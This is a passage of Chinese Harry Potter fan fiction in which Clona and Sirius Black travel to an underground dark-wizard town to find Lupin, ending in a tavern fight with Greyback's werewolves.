找个凉快的地方看书,躺在床上发呆直到睡着。她的暑假好像没有什么特别的活动。
去年暑假,她不仅在有求必应屋里一直住到九月开学,而且在有限的时间里疯狂地补完了O.W.L.课程。那段时间她的脑子里除了冒热气的坩埚之外什么都装不下了。
她并不喜欢考试。没有人喜欢考试。
但不得不承认,只有考试能起到这样的效果:逼迫人在极端的时间里消化过量的知识——虽然是以一种令人不适的方式。
“这个屋子能根据你的需要变换形状,它也可以变成别墅……”克洛娜说。
别墅对布莱克这样有钱的人可能算不了什么。
他肯定觉的克洛娜的房间相当局促。
此刻的有求必应屋里只有卧室、盥洗室和一个熬制魔药的小房间。灯光昏暗,四面墙壁十分紧凑,布莱克的高个子站在这里格格不入。
“是吗?”布莱克说。
他走到墙边,回过身来。
“但是你的兴趣就局限于此了?你能做的比这要好得多,我看到你在北禁林用的那个魔法了,教科书里的咒语你都已经会用了——外面其实还有更多,你不想知道吗?”
克洛娜:“……”
布莱克恐怕是在不遗余力地提出诱惑条件了。
他随意地比划了一个手势,看起来像是漫不经心的动作,而后就抱起双臂,靠在有求必应屋的墙上。
“你肯定不愿意就如此浪费掉这么好的夏天,对不对?现在是邓布利多交给我们工作,再也不用东躲西藏了。肯定会很好玩的。想想看——森林,海边,至少你得亲眼看看尼斯湖水怪。”
不,现在
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不是讨论尼斯湖水怪的时候。危险时期已经来临,伏地魔东山再起,凤凰社重组,但是……
“真的有尼斯湖水怪?”
“真的,我和詹姆见过。”
“詹姆。”克洛娜问,“哈利的父亲詹姆·波特。”
布莱克坦然地回答,“对,那时候是六年级的暑假。我们骑走了詹姆家的扫帚,一路飞到了苏格兰高地北部,并且在那里待了三天。”
“好吧。”克洛娜低声咕哝道。
布莱克微微露出赞赏的表情。
他把危险说得像是一场值得期待的冒险。
哪怕被关在阿兹卡班十余年,布莱克的灵魂也仍然没有忘记希望的色彩。
他倒是个很有趣的人。克洛娜想。
……
他们从霍格沃茨出发,通过飞路网来到因弗尼斯的一家酒馆,布莱克又变成了一条黑狗,他的行李箱留在了邓布利多的办公室,据说这个箱子要还给纽特·斯卡曼德。
因弗尼斯的这家酒馆叫“眼魔和巨怪”。
酒馆内部十分安静,几名巫师正在阅读今早的《预言家日报》,他们面前放着饼干、茶和糖块,茶杯上漂浮着银质勺子,正在自动搅拌茶杯里的牛奶。
还有另外几分报纸放在酒馆的展示架上,供人购买或者阅读。
克洛娜捡起一份报纸。
福吉会动的照片以及闪光灯的光亮被印刷在报纸的头版,旁边写着:“本届霍格沃茨与布斯巴顿、德姆斯特朗联合举办的三强争霸赛被迫终止。霍格沃茨的一名教职员工以及一名学生遇害身亡。傲罗立即对凶手展开抓捕,目前凶手已落网,根据核实,该凶犯为巴蒂·克劳奇二世,克劳奇于1994年在其父母的包庇下越狱阿兹卡班,先后杀死四人,其中包括他自己的父亲,国际魔法交流合作司司长巴蒂·克劳奇先生。今日,福吉部长将亲自执行小巴蒂·克劳奇的审判‘摄魂怪之吻’。”
克洛娜付给酒馆老板一个铜纳特,买下最新的《预言家日报》。
或许卢平教授会想知道外面发生了什么。
她抽出魔杖,对长袍口袋用了无痕伸展咒,而后将报纸放了进去。
现在即便是她在校外使用魔法也不会被魔法部察觉到了,虽然还没有成年,但由于时间回溯的特殊性,魔法部无法追踪到她的踪丝。
布莱克变成的黑狗站在门口等她。外面就是麻瓜世界的街道。
他的体型太大了,肯定会引起不必要的注意。
克洛娜看了看毛茸茸的黑狗皮毛,布莱克盯着她,不知道在想什么。
她再次挥动魔杖。
两张餐巾纸向布莱克飞了过去,在变形术的作用下变成项圈和狗链。黑狗没看清那是什么,他反应敏捷地想要避开束缚,但是项圈已经缠上他,根据尺寸自动调整长短。链条的一端拴在项圈上,另一端漂浮到克洛娜的掌心。
“麻瓜世界禁止遛狗不牵绳。”克洛娜说,“要是你被动物收容所抓走就糟糕了。”
黑狗发出气呼呼的叫声,似乎是在反对克洛娜的说法——作为一名巫师,怎么会被麻瓜抓住!
但是他没有试图挣脱项圈。
克洛娜松了一口气。
“我们走吧,伤风,公共汽车距离这里只有半英里。”
她伸手推门。
布莱克显然是从未戴过任何狗链的,因为刚一开门他就挤过门缝,拽着绳索冲了出去。
28.第 28 章
狗的力气实在是太大了。
克洛娜险些被拽得一头栽倒在门前。
她感到自己的胳膊猛地一震,五脏六腑狠狠撞在骨骼上。狗链的另一端像是不小心拴上了一辆疾驰的摩托,她几乎听到身体发出了不详的咯吱一声。
布莱克听到她的惊叫声之后立刻停下脚步,他转过头,耳朵向后塌下去,露出了抱歉的目光。
“请慢点走,好吗,”克洛娜说,“你有四条腿,我只有两条腿。”
布莱克立刻点了点头。
由于幻影移形不支持移动到未知区域,目的地至少是巫师所熟知的,或者是在什么地方看到过的,否则很有可能造成严重分体、被卡进岩石或者是墙体中、出现在看起来相似但是实际上完全不同的地方。
所以他们只能用麻瓜的交通工具,在空荡荡的、慢吞吞的公共汽车上度过四十多分钟时间,而后再徒步两小时,穿过丘壑起伏的荒原。
公共汽车开走后布莱克就变回人形。
深色山峰覆盖着一层苔藓般的绒草,袒露出荒瘠的岩石,高处云雾缭绕,低处绿色丛生,蜿蜒的河流向湖泊汇聚而去,不远处还有几只漫步的弯角山羊,不慌不忙地反刍着。
“为什不能借两把扫帚呢……”克洛娜已经走到实在不想继续走了。
他们刚翻过一片碎石,现在面前是一望无际的绿色。
“过来。”布莱克说,他站定脚步,挥起魔杖,敲了一下克洛娜的肩膀。
“大步奔行。”他念道。
克洛娜忽而感到自己的身体变得轻飘,好像所有的体重都失踪了,她站在原地不动,惊愕地看着布莱克:“我不想用大步奔行!”
“跳起来试试看。”布莱克说。
“不。”
克洛娜一动不动。
她没有测试过这个咒语,但是她知道这个咒语的效果。一旦她迈出脚步,她很有可能立刻向前飞跃出十英尺,接着失去平衡倒在地上。
“没关系,我会接住你的。”
布莱克的语气真诚,他手握魔杖,注视着克洛娜的眼睛。
几年前的回忆在她的脑海里一晃而过。克洛娜想起第一次见到布莱克的时候,布莱克就救了她一命,他们正在神秘事务司遭受食死徒的追杀,而布莱克如同从天而降般及时出现。
克洛娜发现布莱克或许有点像年长版本的金妮。
他们都有冒险精神,喜欢尝试一些新鲜事物,勇敢热情,而且散发着一种让人想要无条件地信任他们的魔力。
克洛娜迈出了一步。
她立刻飞了起来。风在她耳边怒啸,草地忽然距离她非常遥远,地平线疾速下降,而她被失重感吞没。
克洛娜感到她所有的肾上腺素都开始燃烧。
她瞪大眼睛,屏住呼吸,像是致命的极限运动带来的震撼,整片大地在她的脚下缩放,危险的信号在她的脑子里隆隆作响,从高处俯瞰整片荒原又带来一种扣人心弦的紧张。
她在最高点滞空了很小的一瞬间,接着不受控制地向下坠落而去。
她听到布莱克大笑的声音。
布莱克一边跑,一边在后方很远的地方喊道:“减震止速!”
下坠的速度停滞了,克洛娜毫发无损地落在地上。
布莱克跑到她的面前,灰色的,深邃的眼睛里闪烁着得意的光芒,像是恶作剧成功后的喜悦。
他期待地问道:“怎么样?”
克洛娜眨了眨眼睛。
“还不赖。”她回答。
“只是还不赖?”他吃惊地说,“我小时候最喜欢玩这个。”
“那就是……”克洛娜思索道,“可能因为我已经不小了吧。”
“但你说不赖。”
“确实不赖。”
“比起我现在来说,你已经年轻太多了。”布莱克用平静的声音说,他随手把魔杖别在腰带上,说完后就看向别的方向,“我们到了,就是这里。”
但是他和金妮并不一样。克洛娜想道。
布莱克率先往前走去,他弯腰靠近石缝,观察黑暗中的情况,接着转身对克洛娜招了招手。
下午四点的阳光将他笼罩,也没有使他的目光变得温暖起来。
或许牢狱生活早已给他刻下烙印,或许他本身就耀眼却遥远。
比起明亮的烈阳,布莱克更像是星辰,在夜空中发出炬火般的光芒。
金妮还很年轻,克洛娜感觉如果要用书作比喻,那么金妮像是一本打开的书一样欢迎朋友阅读,克洛娜能理解书里的大部分内容。但是布莱克的这本书已经合上了,别人只能看到他想要向人展示出的部分。
克洛娜跟了上去。
顺着他的视线看,一条曲折的、麻瓜看不到的裂缝,直通向地底深处。
……
整个地下岩洞没有任何植被生长。
布莱克所说的那个巫师村庄在狭缝南边几公里的地方,泥怪会从湖泊渗透到地表世界,去村庄里腐蚀它们能吞噬的一切东西。饱受困扰的巫师们通常会找愿意冒险去地底世界的赏金猎人解决这些恼人的怪物。
然而地底各处都是深渊和峭壁。
或许直线距离只有几英里,但是真正攀爬起来,要耗费的时间比在平原上徒步要漫长的多。
这时,使用能飞行和跳跃的法术就变得尤为重要。
因为里面的黑暗生物太过危险,14世纪末叶,巫师们决定对麻瓜世界封锁地下世界。如果麻瓜不小心放出了这些生物,必定会让巫师面临不必要的危机。
克洛娜和布莱克刚步入地下洞窟,就遇到了一群蝎尾兽。
他们小心翼翼地通过蝎尾兽巢穴。尽量不惊扰到巢穴中最大的那只。
巨型蝎尾兽会对所有入侵巢穴的生物喷出岩浆,格林德沃时期还被德国魔法部圈养用来看守囚犯,后来因为攻击性太强,而且经常会误杀非死刑的犯人而被禁用。
“这里根本不是人能住的地方。我们还没碰上恐爪怪,算是幸运的。鬼知道在这里还能遇到什么——”
布莱克用气音悄声说。
他背靠岩壁,警惕着从远处爬过的一只跟上来的幼年蝎尾兽。
克洛娜也贴在岩壁上,她的只能看到布莱克的肩膀。
“我朋友说这里有黑暗精灵和矮人。”她压低声音说。
卢娜非常相信精灵和矮人的存在。据说这些岩洞曾经都是矮人挖掘的,在数千年的时间长河中逐渐塌陷,最终形成了今天的样子。矮人消失后,地下洞窟才开始被各种黑暗生物占据。
“有什么我需要了解的?”布莱克随口问道。
蝎尾兽爬远了。
“黑暗精灵是最残忍凶暴的族群,”克洛娜回忆道,“他们使用黑魔法,还在地下世界建立了自己的城市。而矮人在梅林出现之前就已经绝迹了。”
“为什么?”
“矮人开凿地下洞窟太深,以至于不小心挖掘到出了埋藏在地底的诅咒,又或者他们曾爆发过一场内战,是自相残杀最终导致的灭亡。”克洛娜说。
她看到布莱克在黑暗中转过来,低头看向她,灰色的眼睛发亮,目光中似乎带着些笑意。
“很有趣。你是真的会相信这些,对吧?”
“万一有呢。”克洛娜说。
“那就只能祈祷伏地魔不会招揽或蛊惑他们为己用了。”布莱克说,“这边走。”
他们越过一个悬崖,又穿过了几条蜿蜒复杂的隧道,不知道走了多长时间,地下空间逐渐变得开阔,地面分布着不同的小径,远处还有火焰在燃烧。
是人类活动的痕迹。
地下水形成的汹涌河流正在向某个方向汇聚,路过这片地区。
他们似乎正处于一个半山腰上。下方平坦的地方,长着大片的蕈菌,宛如地底的森林。
颓圮的石头房屋形成一片建筑群,被弃用的、破碎的木头几乎已经腐烂殆尽了,上面分布着大大小小的菌盖。这片地区的外侧看起来是遭受过某种大型生物的攻击而倒塌了,里侧住着人。
遥远而嘈杂的声音从开阔的空间传来。
“荧光闪烁。”布莱克念道。他的魔杖发出微光。
克洛娜注意到他左手攥起拳头,迈出的每一步都很小心。
之前轻松、慵懒的感觉被一种冷静的警惕取代了。
转眼间,布莱克忽然从年轻人的玩伴变成一名受过精良训练的凤凰社战士。
他现在露出的神情,与克洛娜曾经在神秘事务司看到过的那种神情一模一样。
两人接近那片区域。
石制房屋像是中世纪留存的遗迹,带着一些现代改造的痕迹,满是污垢的玻璃窗后亮着昏暗的光芒。
房屋拥挤,街道狭窄,酒馆门口的标牌咯吱咯吱地响着。四处弥漫着一股腐烂的臭气,像是尸体和排泄物混合起来的气味,瘦骨嶙峋的老鼠在阴沟里四窜。石墙旁边的角落里堆放着七扭八歪的笼子,几只长翅膀的黑魔法生物在里面乱撞,发出古怪的叫声。
克洛娜脚下的碎石咯吱作响。
一些浑身肮脏,如同流窜的通缉犯般的人听到脚步声,向她投来不友好的目光。
地下空间阴暗湿冷,这些人都停下手中正在做的事情,以刀子般冷酷而邪恶的目光注视着两人的靠近。其中还有凶神恶煞的妖精。
和古灵阁的那些戴着眼镜,不停计算金币的妖精
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不同。
这些妖精身披甲胄,背着战斧,目光阴冷狠厉,尖牙肮脏,皮肤灰黑褶皱,像是茹毛饮血为生的。
克洛娜感到瘆人的寒气从她的脚底蔓延。
布莱克忽然将她拉进一条巷子。
“这些人都是什么人?”
“黑巫师、偷猎者、狼人和吸血鬼,还有一些做危险生意的法外狂徒,倒卖地下的黑暗生物。我猜很多人都是从翻倒巷直接来的,这里被施了反幻影移形咒,他们一定有自己的办法。”
布莱克解释道。
“我们怎么在这种地方找到卢平教授……”克洛娜说。
“我自有办法,”布莱克简短地说,“先找到狼人。”
他魔杖尖荧光闪烁的光芒向克洛娜靠近过来。
布莱克用双手带上她的斗篷的兜帽,并且将帽檐向下拉了拉。
“跟紧我。”他说,而后隔着长袍的袖子抓住了克洛娜的手腕。
魔杖尖的光芒一闪熄灭了。
他的手宽大而有力,五指不费吹灰之力就包裹住克洛娜的手腕,干燥而温暖的温度从掌心传来,他大踏步走过三个窃窃私语的黑巫师,接着昏黄的光线,在酒馆末尾转弯,走进另一条僻静的暗巷,克洛娜匆匆跟上他的脚步。
很难想象这片地区为什么没有被魔法部连根拔起。
可能就像翻倒巷一样,如果魔法部想对这些地方实施管控,那么就得挑起一场混乱的战争。
使用黑魔法并不违法。
他们根本找不到理由把这些人都关进监狱。
布莱克每走一段路都会停一下,观察四周的黑巫师,以及脏兮兮的墙,墙上有些乱涂乱写的文字,像用沥青或者淤泥写的,都是凌乱的大写字母:
警告,危险。
不要去“北区”。
哈哈!你完了。
厉鬼和豺狼。
你想死吗!
而布莱克专挑有危险的方向走。他牵着克洛娜在小巷里七拐八绕,克洛娜发现有几面墙上还贴着他的通缉令。
纸面破损发黄,满是污渍。
阿兹卡班的小天狼星·布莱克正在对着镜头像一条疯狗一样咆哮着。
他们走过几条小巷,黑暗中忽然传来了令人不适的声音。
“小天狼星·布莱克……”
一个干瘦、驼背,长着一头白发的流浪汉猛地贴了过来,雾蒙蒙的眼睛紧紧瞪着布莱克,他咧嘴,露出残缺不全的黑色牙齿,长满皱纹的皮肤溃烂,污渍和皮肤病裹在破破烂烂的袍子里。
布莱克不着痕迹地将克洛娜拉向身后。
那名流浪汉用粗哑的声音继续说,“小天狼星·布莱克……通缉犯——小天狼星·布莱克——”
他向布莱克伸出了枯槁的手,一把揪住布莱克的衣角。令人毛骨悚然地重复着念叨着布莱克的名字。
“小天狼星·布莱克……通缉犯——!抓住他——小天狼星·布莱克……杀人犯!”
他完全没有注意到布莱克迅速举起自己的魔杖。
“魂魄出窍。”
夺魂咒。
克洛娜只在穆迪——小巴蒂·克劳奇假扮的穆迪——的课堂上看到过这种不可饶恕咒的效果。现在她再一次看到了。
流浪汉忽然松开了手,他的眼睛忽然变得空洞,被皮肤病腐蚀得满是干涸血渍的两条手臂垂了下去。
“你没看到我,离开这里。”布莱克命令道。
流浪汉转身。
“等等。”布莱克说。
流浪汉又慢吞吞地回过头。
“莱姆斯·卢平,听说过这个名字吗?”他问。
流浪汉用一种梦呓般的声音回答:“我没有。”
“狼人的隔离地在这里?”布莱克又问道。
“是的。”
布莱克挥了一下魔杖,“走吧。”
流浪汉摇摇摆摆地向着他们来的方向走去。
布莱克收起魔杖。就在这时,阴暗的巷尾忽然传来了熟悉的声音,一个身影穿着破旧的、饱经风霜的、打满补丁的斗篷,出现在漆黑的巷子里。
“我想刚才你为自己争取到了阿兹卡班终身监禁的理由。”
莱姆斯·卢平摘下兜帽,露出掺白的头发和一张疲惫的脸。
“我听说通缉犯布莱克出现在了这里。”
“我的罪名也不差这一条了,月亮脸。”布莱克忽然展开笑容,他放开拉着克洛娜的手,走上前两步,用力拥抱卢平。
卢平拍了拍他的后背,问道:“发生了什么?”
布莱克后退了一步。
“凤凰社要重新召集了。”他说,“邓布利多派我来找你。”
29.第 29 章
“看来传言是真的。”
“已经散布到这里了?”
“黑市的小道消息远比你想象的要快得多。”卢平说道,并且向克洛娜投来友好的目光,“你好,又见面了,克洛娜。”
克洛娜一直安静地站在旁边,没想到自己也会被注意到。
“你好,卢平教授。”她说。
“教授?”卢平有些讶异,但几秒后他反应过来了,微笑道,“好像也不是没有可能。”
克洛娜这才想起在时间回溯中,卢平应该没有教过她。
因为她今年开学后就是第七学年了,哈利则即将升入五年级。而卢平还要往前再推两年才会去霍格沃茨教书。克洛娜感到有点可惜,她的整个二年级都不复存在了。
“对不起,我忘了……”克洛娜说,“卢平先生。”
“没关系,叫我莱姆斯就好了。”
克洛娜感觉自己在哪里听过这句话。
“邓布利多还有交代什么吗?”卢平问布莱克。
布莱克抬起视线,刚才他不知道正看向什么地方。听到卢平问他问题,他回答道:“邓布利多让我隐蔽在你那里,等候他的通知。”
“邓布利多可真会安排。”卢平苦笑者说。
“你现在住在哪里?”
“隔离区在北边荒原,都是废弃的房屋,满月的时候狼人不能进城,我找了个相对隐蔽的地牢,避免变身后到处咬人——或者避免满月的时候被杀。都是一样的。他们会把你留下的东西洗劫一空。”
“总不可能比我那时候更糟了。”布莱克说。
“有道理。”卢平说,“狼人据点在全国各处都有,我虽然经常搬家,但至今都没尝过老鼠是什么味道。”
“你肯定吃过一两只吧,一只都没有?”
“我对此很有信心,如果吃了我会发现的。”卢平四下看了看,说道,“我们边走边说吧,小天狼星,这里不是交谈的地方。大部分人可能很快就会投奔到那边,而且不止有一个狼人。”
他走在前面,引领布莱克和克洛娜离开黑巫师聚集的城市,向北边走去。
那里有一片荒凉的废墟,看起来像是被诅咒淹没的村庄残骸。白骨散落在断壁残垣之间,毒触手正在对路过的每个人展露獠牙。
这些建筑物至少已经倒塌上百年了,只能姑且猜到它们曾经的作用,可能是瞭望台或者前哨站之类的东西。远处传来狼嚎般的笑声,听起来粗俗而野蛮。
火光映着几个破破烂烂的帐篷,似乎是一伙人的营地。
卢平远远绕开那群人。
“他们成群结队行动。”他说,“狼人的特点。”
越向北走,光线就变得越暗,卢平和布莱克都举起魔杖,照亮前方的碎石。克洛娜感到这两天和布莱克一起走的路比她这辈子走的都多,她的双脚早就疼痛不已,身体更是累到一句话都说不出来了。
卢平在一个破败的建筑附近停了下来,走进一条走廊后,漆黑的石头阶梯呈现在眼前,楼梯间狭窄而陡峭,简直像一条地沟阴渠。
这个建筑的前身大概是个监狱。
卢平沿着阶梯向下,碎石不时随着他们的脚步声掉落,地下水渗漏的滴答声环绕着寂静。
布莱克的脚步停顿了一下,他看起来有点焦躁,似乎很不愿意迈进这样压抑而逼仄的空间。
他转头看了一眼克洛娜。
几秒后,他终于忍不住问道:“莱姆斯,你一直过得都是这样的日子?”
卢平站在台阶上抬起头。
“不,没有,”他无奈地笑了,“我只是暂时住在这里,之前通信的时候我就和你提到过泥怪的雇佣工作,我差不多已经地毯式搜索完北边的地下湖了,只剩下几个顽固的泥怪老巢,等处理完它们之后我就能离开了。”
“你简直过得比我更糟。”布莱克轻声说。
“我努力让这里变得舒适点。”
卢平走下最后一个台阶,地牢向四面八方扩展开,如同忽然走进了一个石头小屋。
随着卢平步入,壁炉里的火焰呼地开始燃烧,暖洋洋地提供着热源。
房间里没有霉味,渗水也被妥帖地处理过,壁炉旁边摆放着一张床,床褥整齐地叠在一起,一只破旧的皮箱立在书桌旁,柔软的椅子干干净净,桌面上除了羊皮纸、羽毛笔,还有一本没看完的麻瓜小说。
原本的牢房在起居室的对面,钢铁栅栏冰冷粗糙,与空间魔法改造过的地方相比,像是一种冷酷的刑罚。
粗铁链看起来不久前刚被使用过。
上面没有蛛网和灰尘,而牢房的地面、石墙上,都交错着恐怖的抓痕。
“欢迎来到狼人的小屋。”
卢平温和地说。
“这里比地表冷一些,需要一直点火。”他又变出了两把椅子,“请坐。”
布莱克走过去,将椅子拉到壁炉旁边,示意了一下克洛娜。
“我更想知道你是怎么一直在地底世界这么久,都还没有失去理智的。”
“你总得掌握一些活下去的方法。”
他们围在壁炉前聊了很久关于最近发生的事情,布莱克是今年二月份左右回到霍格沃茨附近的,之前他一直都在过逃亡生活,他给卢平简述了克劳奇扮作穆迪,并且带走哈利事情。之后他们又就现在凤凰社的形势、以及魔法部反伏地魔的意向展开探讨。
克洛娜蜷在椅子上昏昏欲睡,她低下头,抱住膝盖,让脸侧的长发变成遮挡光线的帘子,整个人缩进斗篷里。
布莱克的声音变得轻了一些,卢平的回应开始出现沉思的停顿。
等克洛娜醒来的时候,她看到卢平正在读那本未读完的小说,而布莱克靠在椅子里,左手架着扶手,右手随意地把玩着魔杖。他视线微微向下,看向地面的某一处,壁炉里的柴火劈啪作响,火苗的光芒映着他刀刻般的侧脸,和那一头略长的黑发。布莱克安静地坐着的时候,如同一座陈列在博物馆里的石膏雕像。
克洛娜发现自己身上多了一条柔软暖和的毛毯。
“你可以再睡一会儿,现在时间还早。”布莱克说。
“要去什么地方吗?”
克洛娜清醒过来。
“我们要去酒馆里弄点吃的东西,帮月亮脸解决剩下的泥怪,顺便看看能不能在这里打探到一些有用的消息。”
布莱克抬起视线。
“我刚刚得知,地下湖里还潜伏着一些人鱼。这些人鱼比居住在黑湖里的人鱼凶恶数倍,这大概就是那些泥怪总是十分顽固的原因了,没有多少巫师有能力靠近那片水域而且全身而退。”
“我已经提醒过他了。”卢平微笑着说,“克洛娜,如果他被人鱼抓走做了盘中餐,就把他留在那里。”
“没门儿,克洛娜会救我。”布莱克说。
和朋友见面让这两人都变得很放松,甚至互相开起玩笑。但克洛娜实在觉得自己不应该出现在他们的话题中。
“话说回来,出发前你们最好用易容术变换一下容貌。”卢平正色道,“别像刚才一样再被人认出来。”
布莱克用魔杖指向自己的脸。
他的黑发变成不健康的亚麻色,五官的棱角消失,脸上出现大量雀斑,身高似乎缩减了一些,衣服变得和卢平一样满是补丁和褶皱,下巴则长出一把稀稀拉拉的胡髭。他完全易容成了另一个人,普通到从别人身边走过也不会被认出来。
不得不说,布莱克的变形术精湛到可以去霍格沃茨当老师了。
克洛娜也改变了自己的五官和发色,还有头发的长短,她让自己看起来皮肤黝黑,像是在夏威夷晒了一整年的太阳,而后收起眼镜,将兜帽遮挡在脑袋上。
酒馆就是刚进城时经过的那个酒馆。
门口放着的那个装着黑魔法生物的笼子仍然摆在那里,但是笼门大开,里面的生物已经不在了。酒馆的木门满是污渍,玻璃上覆盖着一层黄色的泥垢,内部则一片昏黑阴沉,棚顶结了很多蜘蛛网,一个老迈的家养小精灵无精打采地擦着杯子。酒馆里坐着好几个黑巫师,他们都在吃自己盘子里的东西。
这里没有黄油啤酒,也没有茶或者果子露饮料。
可以点的饮品只有泛苦的啤酒,酸葡萄酒,或者火焰威士忌。
啤酒可能是酒精含量最低的了。
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他们点了三杯啤酒,风干腊肠,硬奶酪和大块黑面包。这些都是易于储存的食物,但都有同一个嚼不动的特质,布莱克大口嚼着半块腊肠,卢平也风骚残云般吃光了面包。
克洛娜注意到,布莱克似乎对吃的东西完全没有要求,怎样难吃他都能下咽。
可能阿兹卡班的牢饭和死老鼠都不好吃。
克洛娜吃得很慢,她闷头喝着杯子里的酒,隐隐感到头晕。她也不确定这是不是醉酒的症状。
布莱克把玻璃杯从她手中抽走了。
“你是不是还没到能喝酒的年纪?”
克洛娜点了点头。
“但今年我就成年了——”她慢慢说,“你们巫师,比麻瓜成年的年龄都小一岁,是吧?”
她看到坐在她旁边的亚麻色头发的陌生人笑了起来。
克洛娜皱了皱眉。
哦,不对,这个是小天狼星·布莱克。
“你喝醉了。”他说。
克洛娜将兜帽拉低,她轻声说,“我的易容法术——”
“还在。”布莱克说。“你的酒量真差。”
“那就是吧。”
克洛娜说,等了几秒,她想起来自己要干什么,倾身过去一把拿回放在布莱克面前的杯子。
“最好别喝的那么醉,我们得时刻警惕危险。”卢平教授说。
克洛娜示威般端起杯子,将剩下的啤酒倒进口中。
“没有什么比时间更危险。”她说。
卢平和布莱克对视了一眼。
啤酒的液面比刚才低一些,这个杯子也不是她之前的杯子。她好像喝了布莱克的酒,但她的思绪已经飘远了,这两天需要思考的事情太多,此刻在酒精的催化下涌进她的脑海,嘈杂地拧成一团。
“比如呢?”布莱克问道。
“小天狼星,我们不能问这个。”卢平说,“克洛娜不同于预言,她不是未来的窥探者,我们无法掌控时间。”
“我明白,莱姆斯——对时间有敬畏之心之类的——但是这也没有什么可怕的。”
时间回溯为什么无法改变未来?已经发生过的过去以另一个方式呈现出来了,那么其他未来还能改变吗?她应该什么时候和邓布利多提起??冈特家族的戒指?时间回溯开始时,他们还没弄清楚伏地魔究竟制造了几个魂器,现在他死而复生了,再次击败他就需要找到所有的魂器,这些魂器都是什么?斯拉格霍恩现在在哪里?布莱克会死,她应该现在就说出这件事吗?如果她说出口之后,布莱克像塞德里克一样提前死亡了呢?……
“你说什么?”布莱克问道。
克洛娜迷茫地看向他。
“什么?”她问。
“谁会死?”
布莱克没有改变自己眼睛的颜色,那片纯粹的、深远的灰色,犹如夜空的广阔都聚缩在他的眼中。
克洛娜眨了一下眼,仿佛再次看到布莱克坠入帷幔前看向她的目光。他现在什么都不知道,而他死前一定什么都知道了,所以那时他的眼睛才那么冰冷。希望和光芒都从中熄灭了,剧烈燃烧结束的那一刻,瞬间,一切都归于沉寂。
克洛娜低下头,她盯着酒杯,乱糟糟的思绪刺着她的额角。
她开始头疼。
谁会死?
“伏地魔会,”克洛娜说,“总有一天……”
“那个名字。”黑暗的酒馆深处忽然传来一个声音。
克洛娜收到了几道险恶的注视。
“现在说可不聪明了。”那个声音继续说,声线粗哑,语调不怀好意地放缓,带着残忍的笑意,“你们不是这里的人。”
三四个狼人围了上来。
为首的体型巨大,留着络腮胡,说话时龇露出狰狞尖锐的牙齿。他的衣服肮脏破旧,如同一张披在身上的皮毛,和北边隔离区的狼人相差无几,但是他不是从隔离区来的,因为他的靴子上还沾着绿色的草汁以及泥土。
从他的目光能看出,他认识卢平。
而卢平僵住了。
“瞧瞧这是谁,小卢平。”狼人狞笑着,眯起眼睛打量着克洛娜,“还有一个废物和一个小妞?”
30.第 30 章
“格雷伯克,”卢平放在桌子上的五指攥成拳头,他似乎竭尽全力保持冷静,但无论如何也掩饰不住声音中的敌意,“我们已经到这里一段时间了,但是你——这里没有任何能咬的人,想必你已经看到了,这里只有妖精和黑巫师。”
温文尔雅的卢平教授第一次显露出攻击性,克洛娜有些惊讶。她看向那个叫格雷伯克的狼人,他究竟做了怎样的事情才让一个原本温柔的人开始咄咄逼人。
对方听完卢平说的话之后,反而笑得更放肆了。
“你在这里找到了,是不是?”格雷伯克说,“——族群,同类,简单直接的生活方式,你压抑的天性。”
“这不是我的生活方式。”
“这里所有的人——所有的——!”格雷伯克猛地扬高音调,他向酒吧里咆哮,仍旧残酷地笑着,“所有人都恐惧狼人——哦,我能闻到他们血液里的恐惧,这个地方,它吃人,夺走生命。真是狼穴居的好地方。”、
酒馆骤然安静下来。
气氛降到了冰点,一种剑拔弩张的紧绷感让空气变得难以呼吸。
“我们知道你来这里是做什么的。”卢平说,“现在正是时候,对吧。”
“我在大开杀戒之前总会先找点美味的甜品。”格雷伯克说。
“然后给你的主子献殷勤?”布莱克忽然说。
格雷伯克的视线转向他。
“我听说你一听到伏地魔大势已去就立刻逃了,格雷伯克。”
“什么——?”
“而你还巴不得回到他们中间去,去伏地魔那里邀功?”布莱克轻飘飘地说,“你知道他们都是怎么称呼你的,那些被关进阿兹卡班牢房的食死徒,他们日夜咒骂。你就是个——”
格雷伯克发出低沉的、带着隆隆声的低吼。
布莱克就像没听到一样,面不改色地说完这句话:“——忘恩负义的畜生,不认主的白眼狼。”
“闭嘴,”格雷伯克说,“否则我就会亲自让你闭嘴。”
“否则你会怎么样,咬死我?可惜今天根本不是月圆。”布莱克说,他假装看了看酒馆的窗外,“哦,我差点忘了,你的脑子可想不到这么远。”
克洛娜有点想笑。
格雷伯克露出他尖利的牙齿,他的怒火在嘲讽和挑衅中升到最高,当他意识到面前的这个人并不会像是普通人一样害怕他时,凶恶也就起不到多大用处了。卢平这时已经攥紧了大衣里的魔杖,格雷伯克那双野兽般的眼睛紧盯着布莱克。
“你是什么东西?”他说,“阿兹卡班?”
“无奖竞猜——”布莱克说,他抱起双臂,向后一靠,“猜不出来,是吧。我想也是。”
砰——!!!
一声巨响。
哗啦——
桌子上的所有东西都被掀翻在地。
玻璃杯砸向粗糙的石头地面,杯身碎成残渣,厚重的杯底飞了出去,家养小精灵啪的一声幻影移形逃走,喝酒的黑巫师统统站了起来,一个长得像是巨人混血、或者是巨怪混血的大块头猛地撞翻了酒馆的承重柱,盘子稀里哗啦地落向地面,木片飞溅,咒语像是火光一样到处爆炸。
布莱克的专注打断了,伪装术在这一刻失效,他的头发迅速变成黑色,身材忽然变得高大,五官开始位移,面孔恢复英俊。
“小天狼星·布莱克!”克雷格咆哮道。
布莱克一跃而起,跳了起来,而格雷伯克庞大的身躯已经扑向了他原本坐着的位置。狼人的爪子凶猛地落下来,抓了个空,将椅子劈得粉碎。
布莱克这时已经移动到了他的身后,并且迅速拉远距离。
“霹雳爆炸——”
狼人即刻转身,布莱克魔杖飞出的火光砸在他的铁甲咒上。
“我还以为你不会咒语!”布莱克高声讽刺。
格雷伯克彻底被激怒。
“分解崩离!”他大喊道。
绿光一闪而过,但是根本打不中布莱克,布莱克敏捷地避让。
光束击中了他后方的桌面,那块木头像是从内至外地被撕裂成了一片黑色的灰烬,消失的同时桌子上的东西也倒塌下来。
解离术。
咒语会形成一道极细的,暗绿色的光线。任何被击中的,无论是人还是物体,都会在顷刻间化为灰尘。
其他狼人也纷纷开始发动攻击。酒馆陷入一片混乱,不只是格雷伯克带来的狼人,其他的黑巫师也忽然开始攻击对方,他们的目标都是不同的,而且也不是同一伙人。几个妖精从酒馆外侧砸碎了窗户,向酒馆里投掷黑魔法。似乎所有人都在等待一场一触即燃的混乱,好给他们创造攻击对方的理由。
卢平对付其中两个,布莱克和格雷伯克缠斗,另一名狼人蓄势待发,准备趁布莱克不备对他发射恶咒。
还有一个狼人向克洛娜冲来。
